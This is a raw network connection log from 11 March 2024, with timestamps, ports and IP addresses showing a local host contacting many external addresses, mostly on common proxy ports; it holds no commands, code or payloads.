Mar 11, 2024 15:21:01.734643936 CET	15673	49728	8.217.143.187	192.168.2.9
Mar 11, 2024 15:21:01.735711098 CET	80	49932	50.168.210.235	192.168.2.9
Mar 11, 2024 15:21:01.735842943 CET	50138	15673	192.168.2.9	8.217.143.187
Mar 11, 2024 15:21:01.736658096 CET	80	49863	172.64.80.55	192.168.2.9
Mar 11, 2024 15:21:01.736673117 CET	80	49863	172.64.80.55	192.168.2.9
Mar 11, 2024 15:21:01.736913919 CET	80	49863	172.64.80.55	192.168.2.9
Mar 11, 2024 15:21:01.737013102 CET	49863	80	192.168.2.9	172.64.80.55
Mar 11, 2024 15:21:01.737107992 CET	49863	80	192.168.2.9	172.64.80.55
Mar 11, 2024 15:21:01.740677118 CET	80	49878	185.162.228.128	192.168.2.9
Mar 11, 2024 15:21:01.740782022 CET	80	49878	185.162.228.128	192.168.2.9
Mar 11, 2024 15:21:01.740871906 CET	80	49878	185.162.228.128	192.168.2.9
Mar 11, 2024 15:21:01.741094112 CET	49878	80	192.168.2.9	185.162.228.128
Mar 11, 2024 15:21:01.742247105 CET	80	49887	50.170.90.27	192.168.2.9
Mar 11, 2024 15:21:01.742427111 CET	49878	80	192.168.2.9	185.162.228.128
Mar 11, 2024 15:21:01.743237972 CET	51718	49952	51.222.241.157	192.168.2.9
Mar 11, 2024 15:21:01.743474960 CET	49952	51718	192.168.2.9	51.222.241.157
Mar 11, 2024 15:21:01.743772030 CET	49952	51718	192.168.2.9	51.222.241.157
Mar 11, 2024 15:21:01.745551109 CET	4145	49934	184.178.172.14	192.168.2.9
Mar 11, 2024 15:21:01.746023893 CET	50109	49886	31.24.44.92	192.168.2.9
Mar 11, 2024 15:21:01.746026039 CET	49934	4145	192.168.2.9	184.178.172.14
Mar 11, 2024 15:21:01.746130943 CET	49886	50109	192.168.2.9	31.24.44.92
Mar 11, 2024 15:21:01.746365070 CET	49934	4145	192.168.2.9	184.178.172.14
Mar 11, 2024 15:21:01.746365070 CET	49886	50109	192.168.2.9	31.24.44.92
Mar 11, 2024 15:21:01.746726990 CET	80	49894	104.21.218.103	192.168.2.9
Mar 11, 2024 15:21:01.746782064 CET	80	49894	104.21.218.103	192.168.2.9
Mar 11, 2024 15:21:01.746926069 CET	80	49894	104.21.218.103	192.168.2.9
Mar 11, 2024 15:21:01.747281075 CET	49894	80	192.168.2.9	104.21.218.103
Mar 11, 2024 15:21:01.747430086 CET	80	49778	82.119.96.254	192.168.2.9
Mar 11, 2024 15:21:01.747917891 CET	49894	80	192.168.2.9	104.21.218.103
Mar 11, 2024 15:21:01.749758005 CET	3128	50002	38.54.101.254	192.168.2.9
Mar 11, 2024 15:21:01.750112057 CET	50002	3128	192.168.2.9	38.54.101.254
Mar 11, 2024 15:21:01.750418901 CET	50002	3128	192.168.2.9	38.54.101.254
Mar 11, 2024 15:21:01.751163006 CET	80	49899	45.14.174.148	192.168.2.9
Mar 11, 2024 15:21:01.751281977 CET	80	49899	45.14.174.148	192.168.2.9
Mar 11, 2024 15:21:01.751462936 CET	80	49899	45.14.174.148	192.168.2.9
Mar 11, 2024 15:21:01.751499891 CET	49899	80	192.168.2.9	45.14.174.148
Mar 11, 2024 15:21:01.751770020 CET	80	49872	65.109.163.154	192.168.2.9
Mar 11, 2024 15:21:01.751802921 CET	49899	80	192.168.2.9	45.14.174.148
Mar 11, 2024 15:21:01.753254890 CET	49872	80	192.168.2.9	65.109.163.154
Mar 11, 2024 15:21:01.753254890 CET	49872	80	192.168.2.9	65.109.163.154
Mar 11, 2024 15:21:01.755691051 CET	1081	49881	94.131.14.66	192.168.2.9
Mar 11, 2024 15:21:01.756005049 CET	8888	49834	119.3.215.41	192.168.2.9
Mar 11, 2024 15:21:01.756038904 CET	49881	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:01.758037090 CET	3128	49892	160.16.90.35	192.168.2.9
Mar 11, 2024 15:21:01.758084059 CET	49834	8888	192.168.2.9	119.3.215.41
Mar 11, 2024 15:21:01.763525963 CET	49892	3128	192.168.2.9	160.16.90.35
Mar 11, 2024 15:21:01.764127970 CET	49881	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:01.764127970 CET	49834	8888	192.168.2.9	119.3.215.41
Mar 11, 2024 15:21:01.764139891 CET	80	49904	104.16.106.234	192.168.2.9
Mar 11, 2024 15:21:01.764153957 CET	80	49904	104.16.106.234	192.168.2.9
Mar 11, 2024 15:21:01.764503002 CET	80	49904	104.16.106.234	192.168.2.9
Mar 11, 2024 15:21:01.764537096 CET	49892	3128	192.168.2.9	160.16.90.35
Mar 11, 2024 15:21:01.764902115 CET	49904	80	192.168.2.9	104.16.106.234
Mar 11, 2024 15:21:01.765007973 CET	49904	80	192.168.2.9	104.16.106.234
Mar 11, 2024 15:21:01.765796900 CET	50139	1080	192.168.2.9	138.36.150.16
Mar 11, 2024 15:21:01.766293049 CET	50140	3128	192.168.2.9	161.34.67.83
Mar 11, 2024 15:21:01.766704082 CET	50141	80	192.168.2.9	174.138.94.117
Mar 11, 2024 15:21:01.766707897 CET	50142	13486	192.168.2.9	167.99.39.82
Mar 11, 2024 15:21:01.766742945 CET	80	50038	45.14.174.180	192.168.2.9
Mar 11, 2024 15:21:01.766807079 CET	50143	8080	192.168.2.9	45.125.222.81
Mar 11, 2024 15:21:01.766838074 CET	50038	80	192.168.2.9	45.14.174.180
Mar 11, 2024 15:21:01.767034054 CET	50144	4145	192.168.2.9	199.102.106.94
Mar 11, 2024 15:21:01.767273903 CET	50145	8192	192.168.2.9	31.211.130.237
Mar 11, 2024 15:21:01.767273903 CET	50038	80	192.168.2.9	45.14.174.180
Mar 11, 2024 15:21:01.767657995 CET	50146	7302	192.168.2.9	60.190.68.154
Mar 11, 2024 15:21:01.767749071 CET	50147	80	192.168.2.9	162.159.242.158
Mar 11, 2024 15:21:01.767750978 CET	50148	3629	192.168.2.9	162.12.217.4
Mar 11, 2024 15:21:01.768639088 CET	50149	80	192.168.2.9	190.58.248.86
Mar 11, 2024 15:21:01.769500971 CET	50151	5000	192.168.2.9	49.228.131.169
Mar 11, 2024 15:21:01.769503117 CET	50150	3129	192.168.2.9	130.162.213.175
Mar 11, 2024 15:21:01.770190954 CET	80	49830	36.92.193.189	192.168.2.9
Mar 11, 2024 15:21:01.770222902 CET	50152	8080	192.168.2.9	161.132.125.244
Mar 11, 2024 15:21:01.770399094 CET	49830	80	192.168.2.9	36.92.193.189
Mar 11, 2024 15:21:01.773063898 CET	49830	80	192.168.2.9	36.92.193.189
Mar 11, 2024 15:21:01.774791956 CET	8080	49991	187.157.243.254	192.168.2.9
Mar 11, 2024 15:21:01.780052900 CET	8002	49893	39.108.229.14	192.168.2.9
Mar 11, 2024 15:21:01.780349016 CET	49893	8002	192.168.2.9	39.108.229.14
Mar 11, 2024 15:21:01.780425072 CET	50154	45629	192.168.2.9	162.241.6.97
Mar 11, 2024 15:21:01.781148911 CET	50153	80	192.168.2.9	163.44.253.160
Mar 11, 2024 15:21:01.781151056 CET	50156	3128	192.168.2.9	103.90.227.244
Mar 11, 2024 15:21:01.781433105 CET	50155	8080	192.168.2.9	46.105.35.193
Mar 11, 2024 15:21:01.781755924 CET	49893	8002	192.168.2.9	39.108.229.14
Mar 11, 2024 15:21:01.781755924 CET	50157	8080	192.168.2.9	103.159.66.61
Mar 11, 2024 15:21:01.782241106 CET	50158	80	192.168.2.9	104.16.25.216
Mar 11, 2024 15:21:01.782629967 CET	8080	49866	125.212.231.220	192.168.2.9
Mar 11, 2024 15:21:01.782867908 CET	50159	4519	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:01.783024073 CET	50160	8181	192.168.2.9	103.152.232.68
Mar 11, 2024 15:21:01.783245087 CET	50161	3128	192.168.2.9	193.239.86.248
Mar 11, 2024 15:21:01.783427954 CET	50162	34411	192.168.2.9	212.110.188.222
Mar 11, 2024 15:21:01.783535004 CET	50163	1080	192.168.2.9	103.127.38.46
Mar 11, 2024 15:21:01.783678055 CET	50164	8080	192.168.2.9	41.139.197.185
Mar 11, 2024 15:21:01.783879995 CET	50165	80	192.168.2.9	35.209.198.222
Mar 11, 2024 15:21:01.784050941 CET	50167	57320	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:01.784132957 CET	50166	27234	192.168.2.9	179.125.51.54
Mar 11, 2024 15:21:01.784252882 CET	50168	23085	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:01.784451008 CET	50169	4228	192.168.2.9	51.75.126.150
Mar 11, 2024 15:21:01.784657955 CET	50171	8080	192.168.2.9	188.132.221.163
Mar 11, 2024 15:21:01.784770012 CET	50170	5678	192.168.2.9	200.105.192.6
Mar 11, 2024 15:21:01.784876108 CET	50172	10007	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:01.784985065 CET	80	49806	104.19.109.209	192.168.2.9
Mar 11, 2024 15:21:01.785063028 CET	50173	21617	192.168.2.9	163.172.94.175
Mar 11, 2024 15:21:01.785229921 CET	2363	49986	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:01.785260916 CET	50175	27234	192.168.2.9	168.228.36.22
Mar 11, 2024 15:21:01.785331964 CET	50174	36129	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:01.785455942 CET	50176	8180	192.168.2.9	118.172.239.231
Mar 11, 2024 15:21:01.785691023 CET	50177	808	192.168.2.9	8.213.128.90
Mar 11, 2024 15:21:01.785923004 CET	50178	24465	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:01.786104918 CET	50179	65533	192.168.2.9	43.128.40.142
Mar 11, 2024 15:21:01.786165953 CET	50180	5836	192.168.2.9	51.15.187.125
Mar 11, 2024 15:21:01.786290884 CET	50182	4145	192.168.2.9	24.249.199.12
Mar 11, 2024 15:21:01.786473989 CET	50181	1080	192.168.2.9	139.255.132.68
Mar 11, 2024 15:21:01.786490917 CET	50183	27020	192.168.2.9	171.244.140.160
Mar 11, 2024 15:21:01.786628962 CET	50184	3128	192.168.2.9	45.8.21.43
Mar 11, 2024 15:21:01.786843061 CET	50186	80	192.168.2.9	50.174.7.152
Mar 11, 2024 15:21:01.786993027 CET	50185	999	192.168.2.9	181.78.11.218
Mar 11, 2024 15:21:01.787080050 CET	50187	36394	192.168.2.9	167.86.69.142
Mar 11, 2024 15:21:01.787302971 CET	50188	6716	192.168.2.9	135.148.10.161
Mar 11, 2024 15:21:01.787475109 CET	50190	3128	192.168.2.9	51.159.134.210
Mar 11, 2024 15:21:01.787478924 CET	50189	80	192.168.2.9	172.67.250.212
Mar 11, 2024 15:21:01.787872076 CET	50192	17982	192.168.2.9	51.89.173.40
Mar 11, 2024 15:21:01.787905931 CET	50191	50563	192.168.2.9	162.241.158.204
Mar 11, 2024 15:21:01.788045883 CET	50193	80	192.168.2.9	50.231.110.26
Mar 11, 2024 15:21:01.788273096 CET	50194	4145	192.168.2.9	37.34.72.132
Mar 11, 2024 15:21:01.788393974 CET	50195	5678	192.168.2.9	183.88.214.58
Mar 11, 2024 15:21:01.788445950 CET	80	49995	50.218.224.35	192.168.2.9
Mar 11, 2024 15:21:01.788646936 CET	50196	8080	192.168.2.9	47.88.3.19
Mar 11, 2024 15:21:01.788865089 CET	50197	28593	192.168.2.9	161.97.163.52
Mar 11, 2024 15:21:01.789118052 CET	50198	80	192.168.2.9	80.13.43.193
Mar 11, 2024 15:21:01.789241076 CET	50199	19925	192.168.2.9	213.136.78.200
Mar 11, 2024 15:21:01.789414883 CET	50200	4145	192.168.2.9	174.64.199.82
Mar 11, 2024 15:21:01.789591074 CET	50201	10000	192.168.2.9	147.75.34.86
Mar 11, 2024 15:21:01.789594889 CET	8080	49868	103.118.46.61	192.168.2.9
Mar 11, 2024 15:21:01.789680958 CET	49868	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:01.789881945 CET	49868	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:01.790011883 CET	50202	8080	192.168.2.9	178.152.101.130
Mar 11, 2024 15:21:01.790118933 CET	50203	8085	192.168.2.9	95.38.95.40
Mar 11, 2024 15:21:01.790203094 CET	80	49926	104.27.15.161	192.168.2.9
Mar 11, 2024 15:21:01.790218115 CET	80	49926	104.27.15.161	192.168.2.9
Mar 11, 2024 15:21:01.790412903 CET	50204	32812	192.168.2.9	170.247.43.142
Mar 11, 2024 15:21:01.790729046 CET	49926	80	192.168.2.9	104.27.15.161
Mar 11, 2024 15:21:01.790791988 CET	29703	49895	147.182.194.76	192.168.2.9
Mar 11, 2024 15:21:01.790895939 CET	80	49926	104.27.15.161	192.168.2.9
Mar 11, 2024 15:21:01.791608095 CET	50205	80	192.168.2.9	80.228.235.6
Mar 11, 2024 15:21:01.791614056 CET	50206	26606	192.168.2.9	132.148.128.88
Mar 11, 2024 15:21:01.791727066 CET	49926	80	192.168.2.9	104.27.15.161
Mar 11, 2024 15:21:01.792170048 CET	80	49817	104.17.62.87	192.168.2.9
Mar 11, 2024 15:21:01.792768002 CET	50208	8080	192.168.2.9	103.189.116.108
Mar 11, 2024 15:21:01.793818951 CET	49734	3128	192.168.2.9	165.232.158.60
Mar 11, 2024 15:21:01.795480013 CET	25427	49996	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:01.795516014 CET	4145	49968	184.181.217.213	192.168.2.9
Mar 11, 2024 15:21:01.795659065 CET	49968	4145	192.168.2.9	184.181.217.213
Mar 11, 2024 15:21:01.796747923 CET	10011	49937	147.75.34.85	192.168.2.9
Mar 11, 2024 15:21:01.796788931 CET	49968	4145	192.168.2.9	184.181.217.213
Mar 11, 2024 15:21:01.796871901 CET	49937	10011	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:01.798002958 CET	80	49748	52.67.10.183	192.168.2.9
Mar 11, 2024 15:21:01.798037052 CET	49937	10011	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:01.798455000 CET	8889	50032	216.176.187.99	192.168.2.9
Mar 11, 2024 15:21:01.798660994 CET	80	49935	172.64.86.217	192.168.2.9
Mar 11, 2024 15:21:01.798679113 CET	50032	8889	192.168.2.9	216.176.187.99
Mar 11, 2024 15:21:01.798679113 CET	50032	8889	192.168.2.9	216.176.187.99
Mar 11, 2024 15:21:01.798764944 CET	80	49935	172.64.86.217	192.168.2.9
Mar 11, 2024 15:21:01.798852921 CET	80	49935	172.64.86.217	192.168.2.9
Mar 11, 2024 15:21:01.799470901 CET	80	49748	52.67.10.183	192.168.2.9
Mar 11, 2024 15:21:01.799693108 CET	49935	80	192.168.2.9	172.64.86.217
Mar 11, 2024 15:21:01.799693108 CET	49935	80	192.168.2.9	172.64.86.217
Mar 11, 2024 15:21:01.800194025 CET	49748	80	192.168.2.9	52.67.10.183
Mar 11, 2024 15:21:01.800750971 CET	80	49936	104.21.194.19	192.168.2.9
Mar 11, 2024 15:21:01.800812006 CET	80	49936	104.21.194.19	192.168.2.9
Mar 11, 2024 15:21:01.801071882 CET	49936	80	192.168.2.9	104.21.194.19
Mar 11, 2024 15:21:01.801110983 CET	80	49936	104.21.194.19	192.168.2.9
Mar 11, 2024 15:21:01.801220894 CET	49936	80	192.168.2.9	104.21.194.19
Mar 11, 2024 15:21:01.801894903 CET	50207	5678	192.168.2.9	41.174.152.226
Mar 11, 2024 15:21:01.802905083 CET	50209	22450	192.168.2.9	50.63.12.33
Mar 11, 2024 15:21:01.803164005 CET	80	49710	117.160.250.133	192.168.2.9
Mar 11, 2024 15:21:01.803325891 CET	50210	9150	192.168.2.9	86.8.163.88
Mar 11, 2024 15:21:01.803350925 CET	80	49861	94.20.183.172	192.168.2.9
Mar 11, 2024 15:21:01.803379059 CET	49710	80	192.168.2.9	117.160.250.133
Mar 11, 2024 15:21:01.803416967 CET	49861	80	192.168.2.9	94.20.183.172
Mar 11, 2024 15:21:01.804609060 CET	49710	80	192.168.2.9	117.160.250.133
Mar 11, 2024 15:21:01.804807901 CET	49861	80	192.168.2.9	94.20.183.172
Mar 11, 2024 15:21:01.805037975 CET	8123	49941	20.205.61.143	192.168.2.9
Mar 11, 2024 15:21:01.805296898 CET	50211	8085	192.168.2.9	103.105.55.170
Mar 11, 2024 15:21:01.805609941 CET	50212	80	192.168.2.9	50.173.140.145
Mar 11, 2024 15:21:01.806557894 CET	50213	80	192.168.2.9	104.16.107.206
Mar 11, 2024 15:21:01.806559086 CET	50214	35632	192.168.2.9	51.75.126.150
Mar 11, 2024 15:21:01.806835890 CET	50216	1080	192.168.2.9	195.231.72.187
Mar 11, 2024 15:21:01.807197094 CET	50215	9090	192.168.2.9	103.105.76.214
Mar 11, 2024 15:21:01.807446003 CET	50218	999	192.168.2.9	191.97.9.228
Mar 11, 2024 15:21:01.807703018 CET	50219	7128	192.168.2.9	107.180.95.177
Mar 11, 2024 15:21:01.807704926 CET	50217	80	192.168.2.9	8.210.58.56
Mar 11, 2024 15:21:01.808041096 CET	50220	80	192.168.2.9	104.22.14.48
Mar 11, 2024 15:21:01.808557987 CET	50223	83	192.168.2.9	103.47.175.161
Mar 11, 2024 15:21:01.808568954 CET	50221	80	192.168.2.9	5.78.65.91
Mar 11, 2024 15:21:01.808758020 CET	50225	8080	192.168.2.9	176.106.22.125
Mar 11, 2024 15:21:01.808988094 CET	50227	8800	192.168.2.9	43.133.136.208
Mar 11, 2024 15:21:01.809206963 CET	50224	8080	192.168.2.9	194.247.173.17
Mar 11, 2024 15:21:01.809207916 CET	50222	54459	192.168.2.9	132.148.128.8
Mar 11, 2024 15:21:01.809443951 CET	49727	34455	192.168.2.9	162.241.66.135
Mar 11, 2024 15:21:01.809736013 CET	50226	57812	192.168.2.9	83.151.4.172
Mar 11, 2024 15:21:01.809736013 CET	50228	4153	192.168.2.9	110.77.149.20
Mar 11, 2024 15:21:01.810295105 CET	50229	9990	192.168.2.9	220.247.164.11
Mar 11, 2024 15:21:01.811690092 CET	50230	8080	192.168.2.9	191.179.216.84
Mar 11, 2024 15:21:01.812447071 CET	80	49962	50.173.140.149	192.168.2.9
Mar 11, 2024 15:21:01.812532902 CET	50231	8080	192.168.2.9	143.64.8.21
Mar 11, 2024 15:21:01.813792944 CET	50232	8080	192.168.2.9	85.196.179.34
Mar 11, 2024 15:21:01.814246893 CET	50233	46450	192.168.2.9	103.88.221.194
Mar 11, 2024 15:21:01.815237045 CET	50234	80	192.168.2.9	104.19.217.219
Mar 11, 2024 15:21:01.816111088 CET	999	49882	106.75.174.172	192.168.2.9
Mar 11, 2024 15:21:01.816165924 CET	999	49972	131.100.51.97	192.168.2.9
Mar 11, 2024 15:21:01.816193104 CET	50235	8118	192.168.2.9	136.54.39.34
Mar 11, 2024 15:21:01.816277027 CET	49972	999	192.168.2.9	131.100.51.97
Mar 11, 2024 15:21:01.817007065 CET	49972	999	192.168.2.9	131.100.51.97
Mar 11, 2024 15:21:01.817562103 CET	50236	3128	192.168.2.9	148.135.46.242
Mar 11, 2024 15:21:01.819577932 CET	50238	8080	192.168.2.9	200.7.8.74
Mar 11, 2024 15:21:01.819581985 CET	50237	80	192.168.2.9	78.28.152.113
Mar 11, 2024 15:21:01.820677042 CET	50239	3128	192.168.2.9	13.234.24.116
Mar 11, 2024 15:21:01.821366072 CET	4145	49821	74.119.144.60	192.168.2.9
Mar 11, 2024 15:21:01.821382046 CET	4145	49821	74.119.144.60	192.168.2.9
Mar 11, 2024 15:21:01.821398973 CET	50240	80	192.168.2.9	23.254.231.55
Mar 11, 2024 15:21:01.822846889 CET	1581	50023	72.10.164.178	192.168.2.9
Mar 11, 2024 15:21:01.823129892 CET	50241	3128	192.168.2.9	3.24.58.156
Mar 11, 2024 15:21:01.824026108 CET	50242	12183	192.168.2.9	203.96.177.211
Mar 11, 2024 15:21:01.824115992 CET	50243	4145	192.168.2.9	74.119.144.60
Mar 11, 2024 15:21:01.824594975 CET	50244	10185	192.168.2.9	192.163.202.88
Mar 11, 2024 15:21:01.825994968 CET	50246	8080	192.168.2.9	154.73.28.157
Mar 11, 2024 15:21:01.826015949 CET	50245	8896	192.168.2.9	88.202.230.103
Mar 11, 2024 15:21:01.826989889 CET	50247	80	192.168.2.9	162.159.242.109
Mar 11, 2024 15:21:01.827543020 CET	50248	3129	192.168.2.9	20.219.235.172
Mar 11, 2024 15:21:01.827688932 CET	4145	49999	184.181.217.206	192.168.2.9
Mar 11, 2024 15:21:01.827922106 CET	50249	8081	192.168.2.9	185.49.31.207
Mar 11, 2024 15:21:01.828018904 CET	49999	4145	192.168.2.9	184.181.217.206
Mar 11, 2024 15:21:01.828330040 CET	49999	4145	192.168.2.9	184.181.217.206
Mar 11, 2024 15:21:01.828877926 CET	50250	80	192.168.2.9	50.174.214.222
Mar 11, 2024 15:21:01.829359055 CET	50251	8080	192.168.2.9	185.118.153.110
Mar 11, 2024 15:21:01.829948902 CET	50252	80	192.168.2.9	104.25.135.170
Mar 11, 2024 15:21:01.830080032 CET	22611	50031	67.43.227.228	192.168.2.9
Mar 11, 2024 15:21:01.830255032 CET	13412	49948	37.187.77.58	192.168.2.9
Mar 11, 2024 15:21:01.830645084 CET	49948	13412	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:01.830801010 CET	49948	13412	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:01.830970049 CET	80	49992	35.72.118.126	192.168.2.9
Mar 11, 2024 15:21:01.831235886 CET	49992	80	192.168.2.9	35.72.118.126
Mar 11, 2024 15:21:01.831680059 CET	49992	80	192.168.2.9	35.72.118.126
Mar 11, 2024 15:21:01.831778049 CET	3128	50037	84.17.35.129	192.168.2.9
Mar 11, 2024 15:21:01.831876040 CET	19403	50033	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:01.832942009 CET	50254	4145	192.168.2.9	2.139.2.212
Mar 11, 2024 15:21:01.833005905 CET	50253	80	192.168.2.9	75.89.101.62
Mar 11, 2024 15:21:01.833318949 CET	50255	4153	192.168.2.9	103.117.109.9
Mar 11, 2024 15:21:01.833862066 CET	80	49963	27.96.235.171	192.168.2.9
Mar 11, 2024 15:21:01.834032059 CET	49963	80	192.168.2.9	27.96.235.171
Mar 11, 2024 15:21:01.834037066 CET	50256	8888	192.168.2.9	35.199.90.225
Mar 11, 2024 15:21:01.834094048 CET	7891	49953	43.129.228.46	192.168.2.9
Mar 11, 2024 15:21:01.834194899 CET	49963	80	192.168.2.9	27.96.235.171
Mar 11, 2024 15:21:01.834202051 CET	49953	7891	192.168.2.9	43.129.228.46
Mar 11, 2024 15:21:01.834897995 CET	49953	7891	192.168.2.9	43.129.228.46
Mar 11, 2024 15:21:01.835321903 CET	50257	8080	192.168.2.9	103.153.62.191
Mar 11, 2024 15:21:01.835410118 CET	50258	4216	192.168.2.9	121.206.205.75
Mar 11, 2024 15:21:01.835943937 CET	50259	9050	192.168.2.9	141.95.86.243
Mar 11, 2024 15:21:01.836488962 CET	50260	17538	192.168.2.9	202.165.38.185
Mar 11, 2024 15:21:01.837739944 CET	50261	48502	192.168.2.9	160.153.254.240
Mar 11, 2024 15:21:01.837954998 CET	50262	999	192.168.2.9	138.121.15.229
Mar 11, 2024 15:21:01.838275909 CET	50263	80	192.168.2.9	185.82.176.34
Mar 11, 2024 15:21:01.839692116 CET	50264	80	192.168.2.9	35.180.188.216
Mar 11, 2024 15:21:01.840322971 CET	50266	1974	192.168.2.9	41.33.203.115
Mar 11, 2024 15:21:01.840322971 CET	50265	80	192.168.2.9	203.202.248.36
Mar 11, 2024 15:21:01.840496063 CET	50267	8080	192.168.2.9	137.59.50.41
Mar 11, 2024 15:21:01.840729952 CET	49731	7497	192.168.2.9	157.230.8.196
Mar 11, 2024 15:21:01.841526985 CET	50268	80	192.168.2.9	50.217.226.40
Mar 11, 2024 15:21:01.841875076 CET	50269	80	192.168.2.9	104.25.108.120
Mar 11, 2024 15:21:01.842397928 CET	50270	80	192.168.2.9	195.235.124.143
Mar 11, 2024 15:21:01.843293905 CET	50271	21981	192.168.2.9	37.187.91.192
Mar 11, 2024 15:21:01.843539953 CET	50272	53155	192.168.2.9	185.109.184.150
Mar 11, 2024 15:21:01.843728065 CET	50273	59347	192.168.2.9	157.245.82.62
Mar 11, 2024 15:21:01.844254971 CET	80	49949	177.12.118.160	192.168.2.9
Mar 11, 2024 15:21:01.844418049 CET	49949	80	192.168.2.9	177.12.118.160
Mar 11, 2024 15:21:01.844522953 CET	80	50090	23.227.38.198	192.168.2.9
Mar 11, 2024 15:21:01.845132113 CET	49949	80	192.168.2.9	177.12.118.160
Mar 11, 2024 15:21:01.845567942 CET	80	50093	104.17.132.79	192.168.2.9
Mar 11, 2024 15:21:01.845643997 CET	50090	80	192.168.2.9	23.227.38.198
Mar 11, 2024 15:21:01.845858097 CET	50093	80	192.168.2.9	104.17.132.79
Mar 11, 2024 15:21:01.846093893 CET	50090	80	192.168.2.9	23.227.38.198
Mar 11, 2024 15:21:01.846378088 CET	50274	80	192.168.2.9	50.217.226.46
Mar 11, 2024 15:21:01.846385002 CET	50093	80	192.168.2.9	104.17.132.79
Mar 11, 2024 15:21:01.847016096 CET	50276	18940	192.168.2.9	144.91.107.252
Mar 11, 2024 15:21:01.847018003 CET	50275	9002	192.168.2.9	111.59.4.88
Mar 11, 2024 15:21:01.847635984 CET	50277	999	192.168.2.9	181.204.0.36
Mar 11, 2024 15:21:01.848638058 CET	50278	26619	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:01.848885059 CET	80	49966	5.61.33.234	192.168.2.9
Mar 11, 2024 15:21:01.848901033 CET	80	50098	172.67.105.234	192.168.2.9
Mar 11, 2024 15:21:01.848989010 CET	49966	80	192.168.2.9	5.61.33.234
Mar 11, 2024 15:21:01.848989010 CET	50098	80	192.168.2.9	172.67.105.234
Mar 11, 2024 15:21:01.850028992 CET	49966	80	192.168.2.9	5.61.33.234
Mar 11, 2024 15:21:01.850430965 CET	50098	80	192.168.2.9	172.67.105.234
Mar 11, 2024 15:21:01.850739002 CET	50279	1976	192.168.2.9	41.65.67.167
Mar 11, 2024 15:21:01.851346016 CET	50280	1080	192.168.2.9	183.62.58.37
Mar 11, 2024 15:21:01.852468967 CET	8080	49971	78.47.103.89	192.168.2.9
Mar 11, 2024 15:21:01.852504015 CET	50281	80	192.168.2.9	50.218.57.64
Mar 11, 2024 15:21:01.852947950 CET	50282	4145	192.168.2.9	199.102.105.242
Mar 11, 2024 15:21:01.855449915 CET	50283	80	192.168.2.9	172.67.181.149
Mar 11, 2024 15:21:01.855622053 CET	1080	49911	168.138.162.66	192.168.2.9
Mar 11, 2024 15:21:01.855637074 CET	8197	50046	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:01.855663061 CET	50284	80	192.168.2.9	209.126.6.159
Mar 11, 2024 15:21:01.855678082 CET	50286	80	192.168.2.9	52.24.80.166
Mar 11, 2024 15:21:01.855679035 CET	50285	4019	192.168.2.9	171.235.166.222
Mar 11, 2024 15:21:01.856141090 CET	50288	25154	192.168.2.9	159.223.166.21
Mar 11, 2024 15:21:01.856141090 CET	50287	4145	192.168.2.9	104.37.135.145
Mar 11, 2024 15:21:01.856230021 CET	50289	80	192.168.2.9	50.168.210.226
Mar 11, 2024 15:21:01.856934071 CET	50291	4145	192.168.2.9	101.51.196.145
Mar 11, 2024 15:21:01.856970072 CET	80	49974	104.16.221.57	192.168.2.9
Mar 11, 2024 15:21:01.856985092 CET	80	49974	104.16.221.57	192.168.2.9
Mar 11, 2024 15:21:01.857004881 CET	50290	3128	192.168.2.9	178.236.246.53
Mar 11, 2024 15:21:01.857121944 CET	80	49974	104.16.221.57	192.168.2.9
Mar 11, 2024 15:21:01.857171059 CET	49974	80	192.168.2.9	104.16.221.57
Mar 11, 2024 15:21:01.857273102 CET	49974	80	192.168.2.9	104.16.221.57
Mar 11, 2024 15:21:01.858176947 CET	50292	80	192.168.2.9	104.24.136.68
Mar 11, 2024 15:21:01.858211994 CET	50293	8879	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:01.859216928 CET	50294	999	192.168.2.9	190.97.238.89
Mar 11, 2024 15:21:01.860084057 CET	80	49978	128.140.26.12	192.168.2.9
Mar 11, 2024 15:21:01.861113071 CET	49978	80	192.168.2.9	128.140.26.12
Mar 11, 2024 15:21:01.861336946 CET	49978	80	192.168.2.9	128.140.26.12
Mar 11, 2024 15:21:01.861938000 CET	50296	18762	192.168.2.9	192.111.137.37
Mar 11, 2024 15:21:01.862045050 CET	50297	8080	192.168.2.9	217.172.122.14
Mar 11, 2024 15:21:01.862369061 CET	50295	80	192.168.2.9	50.168.210.232
Mar 11, 2024 15:21:01.862561941 CET	8899	49973	8.217.95.44	192.168.2.9
Mar 11, 2024 15:21:01.862576962 CET	3128	49920	77.77.64.116	192.168.2.9
Mar 11, 2024 15:21:01.862637043 CET	49973	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:01.862859011 CET	49973	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:01.868652105 CET	4145	50039	72.210.221.223	192.168.2.9
Mar 11, 2024 15:21:01.868669033 CET	10677	50053	72.10.160.173	192.168.2.9
Mar 11, 2024 15:21:01.868756056 CET	50039	4145	192.168.2.9	72.210.221.223
Mar 11, 2024 15:21:01.873281002 CET	3950	49956	148.72.212.198	192.168.2.9
Mar 11, 2024 15:21:01.873476982 CET	49956	3950	192.168.2.9	148.72.212.198
Mar 11, 2024 15:21:01.874073982 CET	80	49997	119.196.168.183	192.168.2.9
Mar 11, 2024 15:21:01.874191999 CET	49997	80	192.168.2.9	119.196.168.183
Mar 11, 2024 15:21:01.876868963 CET	3128	50000	37.120.222.132	192.168.2.9
Mar 11, 2024 15:21:01.878056049 CET	80	49994	104.23.125.117	192.168.2.9
Mar 11, 2024 15:21:01.878072023 CET	80	49994	104.23.125.117	192.168.2.9
